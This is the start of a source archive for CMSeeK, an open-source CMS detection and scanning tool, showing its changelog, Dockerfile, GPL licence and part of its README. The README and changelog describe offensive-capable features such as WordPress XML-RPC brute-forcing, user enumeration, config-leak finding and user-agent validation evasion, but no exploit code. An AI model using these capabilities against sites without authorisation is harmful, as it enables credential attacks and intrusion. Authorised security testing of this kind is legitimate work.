pax_global_header00006660000000000000000000000064137066512360014523gustar00rootroot0000000000000052 comment=5da87c1aadc0cb48c3483acdad30f2be730074c8 CMSeeK-v.1.1.3/000077500000000000000000000000001370665123600130405ustar00rootroot00000000000000CMSeeK-v.1.1.3/.gitignore000066400000000000000000000001201370665123600150210ustar00rootroot00000000000000__pycache__/ *.py[cod] *$py.class Result/** .idea/ .scan_id reports.json test.pyCMSeeK-v.1.1.3/.scan_id000066400000000000000000000000021370665123600144310ustar00rootroot000000000000000 CMSeeK-v.1.1.3/CHANGELOG000066400000000000000000000152221370665123600142540ustar00rootroot00000000000000Version 1.1.3 [25-07-2020] - Added new CMS: - Smartstore - Solusquare Commerce Cloud - Spree - Brightspot CMS - Amiro.CMS - Weebly - ekmPowershop - GoDaddy Website Builder - WHMCS - Zen Cart - OpenNemas CMS - IPO CMS - Version detection added for: - Amiro.CMS - GoDaddy Website Builder - Added WordPress Bruteforce via XML-RPC - improved logging for joomla scans - improved logging for WordPress deep scan - Switched to wpvulns.com for wordpress vulnerabilities - Added `--light-scan` argument - Added (`--only-cms`, `-o`) argument Version 1.1.2 [19-05-2019] - Added new CMS: - Proximis Omnichannel - Quick.Cart - RBS Change - Salesforce Commerce Cloud - Sazito - Shopatron - Umbraco - Shoper - Shopery - ShopFA - Shopify - Shoptet - Version detection added for: - Quick.Cart - Oracle ATG Web Commerce - RBS Change - Umbraco - ShopFA - Added `--batch` argument - Added `--ignore-cms` argument - Added `--strict-cms` argument - Added `--skip-scanned` argument - Identify if WordPress detection via source code was false positive - Fixed an issue where cms name and cms url would not be added in the result json Version 1.1.1 [01-02-2019] - Added new CMS: - Afosto - Afterbuy - Arastta - BigCommerce - Bigware - Bizweb - Clientexec - CloudCart - ColormeShop - Moodle - ORKIS Ajaris Websuite - Comandia - Commerce Server - Cosmoshop - CS Cart - CubeCart - Al Mubda - Dynamicweb - EC-CUBE - Elcodi - ePages - eZ Publish - Fortune3 - PrestaShop - BigTree CMS - Version detection added for: - Magento - Commerce Server - Dynamicweb - Refactored code for detecting cms - Added `--googlebot` option to use googlebot user agent - Added `--follow-redirect` and `--no-redirect` arguments Version 1.1.0 [28-08-2018] - Added new CMS: - Advanced Electron Forum - Arc Forum - AspNetForum - Burning Board - Beehive Forum - Discourse - Discuz! - Flarum - FluxBB - FUDforum - IPB Forum - JForum - MercuryBoard - miniBB - mvnForum - MyBB - mwForum - myUPB - NodeBB - NoNonsense Forum - Phorum - PunBB - SMF - UBB.threads - Vanilla - uKnowva - XenForo - XMB - YaBB - YAF - Yazd - Version detection added for: - Advanced Electron Forum - AspNetForum - Burning Board - Beehive Forum - Discourse - Discuz! - FUDforum - JForum - MercuryBoard - miniBB - mvnForum - MyBB - myUPB - NodeBB - PunBB - SMF - UBB.threads - Vanilla - uKnowva - XMB - YaBB - YAF - New detection methods added for: - phpwind - Fixed an issue with log (#28) Version 1.0.9 [21-08-2018] - Added new CMS: - PHP Nuke - FlexCMP - eZ Publish - ExpressionEngine - EPiServer - e107 - DNN Platform - phpBB - DEDE CMS - Danneo CMS - Craft CMS - CPG Dragonfly - Cotonti - Orchard CMS - ContentBox - Contentful - Contensis CMS - CMS CONTENIDO - Contao - Concrete5 CMS - Version detection added for: - FlexCMP - Danneo CMS - Contensis CMS - CMS CONTENIDO - Concrete5 CMS - CMSimple - BrowserCMS - Ignore certificate error (#20) - UA validation evasion added - UI Revamped Version 1.0.8 [14-08-2018] - Added new CMS: - SilverStripe - Silva CMS - Serendipity - SeamlessCMS - Rock RMS - Roadiz CMS - RiteCMS - RCMS - Quick.Cms - Pimcore - Percussion CMS - phpWind - phpCMS - PencilBlue - Ophal - Sitefinity - OpenText WSM - OpenCms - Odoo - Microsoft SharePoint - October CMS - Mura CMS - Moto CMS - Mono.net - MODX - Methode - Mambo - LiveStreet CMS - LEPTON CMS - HIPPO CMS - Kooboo CMS - Koken - IndexHibit - Webflow CMS - Jalios JCMS - ImpressPages CMS - Hotaru CMS - GravCMS - GetSimple CMS - Fork CMS - Version detection added for: - Serendipity - SeamlessCMS - Rock RMS - RiteCMS - Roadiz CMS - phpWind - Quick.Cms - Ophal - Sitefinity - OpenText WSM - OpenCms - Microsoft SharePoint - Mura CMS - Kooboo CMS - Koken - Jimdo - ImpressPages CMS - New browser validation bypass added Version 1.0.7 [07-08-2018] - Added new CMS: - TiddlyWiki - SULU - Subrion CMS - Squiz Matrix - Spin CMS - solodev - sNews - sitecore - SIMsite - Simplébo - Version detection added for: - sNews - TiddlyWiki - SULU - Subrion CMS - New detection method added for: - Textpattern CMS - WordPress DeepScan Updated: - added path disclosure scan - added theme zip check - added check for user registration - fixed some issues with directory - fixed bruteforce modules - fixed url handler function Version 1.0.6 [23-07-2018] - added new CMSs: - XOOPS - Wolf CMS - Wix.com - WebGUI - UMI.CMS - ushahidi - Tiki Wiki CMS Groupware - WebsiteBaker CMS - New detection methods added for: - typ03 - WordPress - Drupal - Joomla - Version detection added for - XpressEngine - WebGUI - UMI.CMS - added cms detection via robots.txt - CMS detection via generator meta tag improved - fixed all bruteforce modules (yet again) - brutefocer now adds username to the list of passwords to try [issue #14] - added (-l, --list) argument for scanning sites from file - Other minor fixes and tweaks Version 1.0.5 [19-07-2018] - version detection for drupal added - fixed '/' error in url - added a detection method for drupal - Core updated to make it smaller and faster - removed multiprocessing with multithreading now cmseek runs on almost all devices - other minor fixes Version 1.0.4 [17-07-2018] - added joomla deep scan and version detection - minor core update - removed some junk code from wordpress deepscan Version 1.0.3 [06-07-2018] - clear-result argument added - fixed all bruteforce modules Version 1.0.2 [06-07-2018] - WordPress passive theme detection added - WordPress passive plugins enumeration added - Added Verbose, url, random-agnet, user-agent, help arguments - Deep scan updated - Version detect updated - Minor code updates and bug fixes Version 1.0.1 [19-06-2018] - Added Update option - Added version switch - some minor updates Version 1.0.0 [15-06-2018] - Initial Beta release CMSeeK-v.1.1.3/Dockerfile000066400000000000000000000006631370665123600150370ustar00rootroot00000000000000FROM python:3-alpine LABEL name CMSeeK LABEL src "https://github.com/Tuhinshubhra/CMSeeK" LABEL creato Tuhinshubhra LABEL dockerfile_maintenance khast3x LABEL desc "CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and 130 other CMSs." RUN apk add --no-cache git py3-pip && git clone https://github.com/Tuhinshubhra/CMSeeK WORKDIR CMSeeK RUN pip install -r requirements.txt ENTRYPOINT [ "python", "cmseek.py" ] CMSeeK-v.1.1.3/LICENSE000066400000000000000000001033101370665123600140430ustar00rootroot00000000000000GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . CMSeeK-v.1.1.3/README.md000066400000000000000000000213501370665123600143200ustar00rootroot00000000000000

Logo
version Python Version GitHub stars GitHub license Rawsec's CyberSecurity Inventory Twitter

## What is a CMS? > A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*. ## Release History ``` - Version 1.1.3 [25-07-2020] - Version 1.1.2 [19-05-2019] - Version 1.1.1 [01-02-2019] - Version 1.1.0 [28-08-2018] - Version 1.0.9 [21-08-2018] - Version 1.0.8 [14-08-2018] - Version 1.0.7 [07-08-2018] ... ``` [Changelog File](https://github.com/Tuhinshubhra/CMSeeK/blob/master/CHANGELOG) ## Functions Of CMSeek: - Basic CMS Detection of over 170 CMS - Drupal version detection - Advanced Wordpress Scans - Detects Version - User Enumeration - Plugins Enumeration - Theme Enumeration - Detects Users (3 Detection Methods) - Looks for Version Vulnerabilities and much more! - Advanced Joomla Scans - Version detection - Backup files finder - Admin page finder - Core vulnerability detection - Directory listing check - Config leak detection - Various other checks - Modular bruteforce system - Use pre made bruteforce modules or create your own and integrate with it ## Requirements and Compatibility: CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed. ## Installation and Usage: It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands: - git clone `https://github.com/Tuhinshubhra/CMSeeK` - cd CMSeeK - pip/pip3 install -r requirements.txt For guided scanning: - python3 cmseek.py Else: - python3 cmseek.py -u [...] Help menu from the program: ``` USAGE: python3 cmseek.py (for guided scanning) OR python3 cmseek.py [OPTIONS] SPECIFING TARGET: -u URL, --url URL Target Url -l LIST, --list LIST Path of the file containing list of sites for multi-site scan (comma separated) MANIPULATING SCAN: -i cms, --ignore--cms cms Specify which CMS IDs to skip in order to avoid flase positive. separated by comma "," --strict-cms cms Checks target against a list of provided CMS IDs. separated by comma "," --skip-scanned Skips target if it's CMS was previously detected. RE-DIRECT: --follow-redirect Follows all/any redirect(s) --no-redirect Skips all redirects and tests the input target(s) USER AGENT: -r, --random-agent Use a random user agent --googlebot Use Google bot user agent --user-agent USER_AGENT Specify a custom user agent OUTPUT: -v, --verbose Increase output verbosity VERSION & UPDATING: --update Update CMSeeK (Requires git) --version Show CMSeeK version and exit HELP & MISCELLANEOUS: -h, --help Show this help message and exit --clear-result Delete all the scan result --batch Never ask you to press enter after every site in a list is scanned EXAMPLE USAGE: python3 cmseek.py -u example.com # Scan example.com python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated) python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com ``` ## Checking For Update: You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update. P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update. ## Detection Methods: CMSeek detects CMS via the following: - HTTP Headers - Generator meta tag - Page source code - robots.txt ## Supported CMSs: CMSeeK currently can detect **170+** CMS. Check the list here: [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory. All the cmss are stored in the following way: ``` cmsID = { 'name':'Name Of CMS', 'url':'Official URL of the CMS', 'vd':'Version Detection (0 for no, 1 for yes)', 